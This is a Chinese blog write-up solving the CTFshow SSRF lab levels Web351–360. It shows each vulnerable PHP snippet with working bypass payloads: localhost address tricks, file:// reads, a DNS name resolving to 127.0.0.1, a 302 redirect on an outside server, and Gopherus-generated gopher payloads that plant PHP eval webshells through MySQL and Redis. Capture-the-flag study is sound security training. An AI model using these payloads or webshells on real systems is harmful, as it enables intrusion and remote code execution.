CTFshow——SSRF

已于 2022-04-23 15:00:47 修改
阅读量3.6k 收藏 1
点赞数 1
分类专栏： 靶场 #CTFshow 文章标签： web安全 安全
于 2022-04-23 15:00:19 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/lee_maple/article/details/124363981
版权

Web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

在这里插入图片描述

可以看到提示非本地用户禁止访问，实际上就是模拟了一个内网环境，只有内网的用户才能进行访问，而外部访客则不行

方法一：

既然说必须是本地用户，那我们就使用内网的ip进行访问
在这里插入图片描述

POST传参

url=http://127.0.0.1/flag.php

方法二：

使用文件包含直接包含所谓只有内网才能访问的内容

post传参:

url=file:///var/www/html/flag.php

在这里插入图片描述

Web352

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

直接访问flag.php发现还是提示非本地用户禁止访问

仔细看源码与上题的区别在于增加了验证

if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){

理论上应该用进制转换（url=http://0x7F000001/flag.php），特殊的0地址（url=http://0/flag.php）等一些方法绕过，但是我不知道为哈我直接用127.0.0.1也能过
在这里插入图片描述

Web353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

看一下过滤内容，再结合上题总结的发现，进制转换或者特殊0地址都是可以用的

在这里插入图片描述

Web354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

看代码知道localhost，1，0，。都没法用了，我们可以使用一个自己的域名

然后将域名的DNS解析A类指向127.0.0.1（如下图）

对于这道题来说，很多人没有自己的域名更没有解析记录

恰好http(s)😕/sudo.cc/这个域名的解析是指向127.0.0.1的，所以可以直接post传参

url=http://sudo.cc/flag.php

在这里插入图片描述

在这里插入图片描述

PS：什么是域名解析A类？

在这里插入图片描述

Web355

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

多了一个限制让host位数小于5

省略绕过即可

url=http://127.1/flag.php
或
url=http://0/flag.php

Web356

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

host位数小于3，依旧是省略绕过

url=http://0/flag.php

Web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>

gethostbyname — 返回主机名对应的 IPv4地址。 
filter_var — 使用特定的过滤器过滤一个变量
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP （比如 192.168.0.1）
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值

补充：
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP（比如 255.255.255.255）
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP（比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334）

简单来说就是过滤掉了私有地址的访问

这里我们可以使用302跳转进行绕过

302跳转：

举个例子，我们假设淘宝更换了新的域名，但是对于广大用户来说他们只记

得taobao.com这个熟悉的域名，那么为了方便用户我们可以采用302跳转，

就对taobao.com配置302跳转到新域名地址，保证服务的延续

方法一：

在自己服务器上写个a.php文件内容如下

<?php
header("Location:http://127.0.0.1/flag.php");

然后payload写自己的这个地址就可以了

payload:

url=http://139.9.178.245:60/a.php

在这里插入图片描述

方法二：

对于没有自己没有服务器的

在这个网站注册一个账号http://ceye.io/，然后会给你分配一个域名，修改

原理可以看下大佬写的文章https://zhuanlan.zhihu.com/p/89426041

方法看CSDN博主「yu22x」：https://blog.csdn.net/miuzzx/article/details/111992415

Web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

正则匹配：以以http://ctf.开头，以show结尾

以show结尾比较好办，要么#show，要么?a=show这样的都可以

以http://ctf.开头的话，加一个@127.0.0.1绕过，这样parse_url解析出来的host是127.0.0.1

url=http://ctf.@127.0.0.1/flag.php?show

Web359

使用工具Gopherus（工具放进kali直接命令窗运行即可）

python gopherus.py --exploit mysql
root
select "这里写一句话木马" into outfile "/var/www/html/1.php"

运行后会得到payload

由于传上去会被解码，所以需要多进行一次urlencode

在这里插入图片描述

在这里插入图片描述

Web360

提示：打redis

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

方法同上

python gopherus.py --exploit redis
php
<?php eval($_POST['1']);?>

默认存储文件名称为shell.php

在这里插入图片描述

Redis配合gopher协议进行SSRF

概述

`Gopher`协议是 HTTP 协议出现之前，在 Internet 上常见且常用的一个协议，不过现在gopher协议用得已经越来越少了
`Gopher`协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 redis、ftp、mysql等等，也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF的攻击面。

利用条件

能未授权或者能通过弱口令认证访问到Redis服务器

利用

redis常见的SSRF攻击方式大概有这几种：

  1. 绝对路径写webshell
  2. 写ssh公钥
  3. 写contrab计划任务反弹shell

绝对路径写webshell

这个方法比较常用，用得最多

  1. 构造redis命令
  2. 使用脚本，转化为redis RESP协议的格式
  3. 生成payload后，用curl打
  4. 执行成功后，查看shell是否写入成功
枫糖丶
关注
  • 1
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
ctfshow-ssrf
孤桜懶契
08-21 299
前言 记录web的题目wp，慢慢变强，铸剑。 SSRF SSRF(Server-Side Request Forgery: 服务器端请求第二天) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF 攻击的目标是从网无法访问的内部系统。（因为它是由服务端发起的，所以它能够请求到与它相关而与外部网隔离的内部系统） web351 <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=cu
ctfshow————反序列化
qq_45655564的博客
06-30 846
web254 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 19:29:02 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__
ctfshow--ssrf
ing_end的博客
04-23 3919
SSRF概述及其危害 *SSRF概述 ​ 强制服务器发送一个攻击者的请求 ​ 互联网上的很多web应用提供了从其他服务器（也可以是本地)获取数据的功能。使用用户指定的URL，web应用可以获取图片（载入图片）、文件资源（下载或读取)。如下图所示，百度提供识图功能。如果链接可以访问任意请求，则存在ssrf漏洞 ​ 用户可以从本地或者URL的方式获取图片资源，交给百度识图处理。如果提交的是URL地址，该应用就会通过URL寻找图片资源。如果web 应用开放了类似于百度识图这样的功能，并且对用户提供的URL和远端
CTFHub技能树通关教程——SSRF漏洞原理攻击与防御（一）(超详细总结)
最新发布
xt350488的博客
06-18 557
即服务器端请求伪造（Server-Side Request Forgery），是一种网络攻击技术，攻击者利用服务器上的应用程序向任意服务器发起请求或者操作，这些请求可能包括但不限于文件读取、命令执行、端口扫描等。在向服务器发送请求时，首先浏览器会进行一次URL解码，其次服务器收到请求后，在执行curl功能时，进行第二次解码。码中的换行符，在URL的二次编码中不需要，否则会导致curl执行错误，导致我们拿不到正确的结果。替换完成之后，再次进行url编码，这里的url就是源码中的curl要执行的。
CTFshow SSRF
starttv的博客
11-23 976
服务端请求伪造（Server Side Request Forgery, SSRF）指的是攻击者在未能取得服务器所有权限时，利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。
ctfshow ssrf篇
m0_62422842的博客
07-10 700
ctfshow入门中的ssrf篇
ctfshow ssrf
weixin_52240463的博客
01-23 3287
ctfshow ssrf
CTFHub靶场————SSRF
qq_61579604的博客
10-17 86
用户访问一个特定的域名，然后这个域名原来是一个正常的ip。但是当域名持有者修改域名对应的ip后，用户再访问这个域名的时候，浏览器以为你一直访问的是一个域名，就会认为很安全。SSRF中有个很重要的一点是请求可能会跟随302跳转，尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php。要求是请求的URL中必须包含http://notfound.ctfhub.com这里我第一时间想到的是绕过。DNS重绑定并没有违反同源策略，相当于是钻了同源策略，同域名同端口访问的空子了。
WEB漏洞——SSRF
qq_63594215的博客
04-11 769
这次来介绍WEB漏洞的其中一种类型SSRF，文章将通过讲述其原理、如何挖掘以及怎么利用，包括如何防御和绕过，并且提供靶场来举例说明，详情请往下看。社交分享功能：获取超链接的标题等内容进行显示转码服务：通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览在线翻译：给网址翻译对应网页的内容图片加载/下载：例如富文本编辑器中的点击下载图片到本地；通过URL地址加载或下载图片云服务厂商：它会远程执行一些命令来判断网址是否存活等，所以如果可以捕获相应的信息，就可以进行ssrf测试。
Web安全原理（4）——SSRF
yuluotianjin的博客
09-05 379
Web安全原理（4）——SSRF1.SSRF简介2.SSRF原理3.实战演示4.SSRF漏洞修复建议 1.SSRF简介 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）。   2.SSRF原理 （1） 成因：由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做
ctfshow-SSRF
njh18790816639的博客
04-19 521
SSRF 其全称：Server—Side Request Forgery :服务器端请求伪造 是一种由攻击者构造形成的由 服务器端发起请求的一个安全漏洞。一般情况下，攻击的目是外网没有办法访问的内网。 很多WEb应用都其提供了从其他服务器上获取数据的功能，使用指定的url,web 应用可以获取图片，下载文件，读取文件等。这个功能如果被恶意使用，可以利用存在缺陷的web引用做为代理，攻击远程和本地服务器。 web351 <?php error_reporting(0); highlight_file(_
CTFSHOW SSRF篇
羽的博客
01-05 4451
了前八道题，因为题目上的比较匆忙，提前做下就当测试题目了。 web351 存在一个flag.php页面，访问会返回不是本地用户的消息，那肯定是要让我们以本地用户去访问127.0.0.1/flag.php payload:url=http://127.0.0.1/flag.php web352 过滤了localhost和127.0.0。还是有很多方法的，比如127.0.1 、127.1、 127。0.0.1 或者转成16进制 2进制 转进制的地址https://tool.520101.com/wangluo/
ctfshow SSRF
..
02-28 1018
web 351 直接读取本地文件 url=file:///var/www/html/flag.php url=127.0.0.1/flag.php web352 这里要求是http或者https协议，只需要满足这个就可以了。 url=http://localhost/flag.php url=http://127.0.0.1/flag.php url=http://127.1/flag.php url=http://0.0.0.0/flag.php url=http:/...
ctfshow——SSRF
qq_55202378的博客
05-02 1001
(Server-Side Request Forgery：服务器端请求伪造) 是一种由攻击者构造形成的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）
CTFSHOW-SSRF
m0_74456293的博客
04-09 251
CTFSHOW-SSRF
ctfshow-web入门 ssrf篇
volcano的博客
03-06 2442
ctfshowSSRF简介危害web351web352parse_urlweb353更改IP地址写法web354web355web356web357web358web359(打无密码的mysql)web360(打redis) SSRF 简介 服务端请求伪造（Server Side Request Forgery, SSRF）指的是攻击者在未能取得服务器所有权限时，利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。 危害 SSRF可以对外网、
PHP FILTER_VALIDATE_IP 过滤器
weixin_34403693的博客
06-25 379
FILTER_VALIDATE_IP 过滤器把值作为 IP 进行验证，用于验证 IP 是否合法，支持 IPV6 验证 例子 <?php $ip = "192.168.0.1"; if(!filter_var($ip, FILTER_VALIDATE_IP)) { echo "IP is not valid"; } else { echo "IP is v...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

枫糖丶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值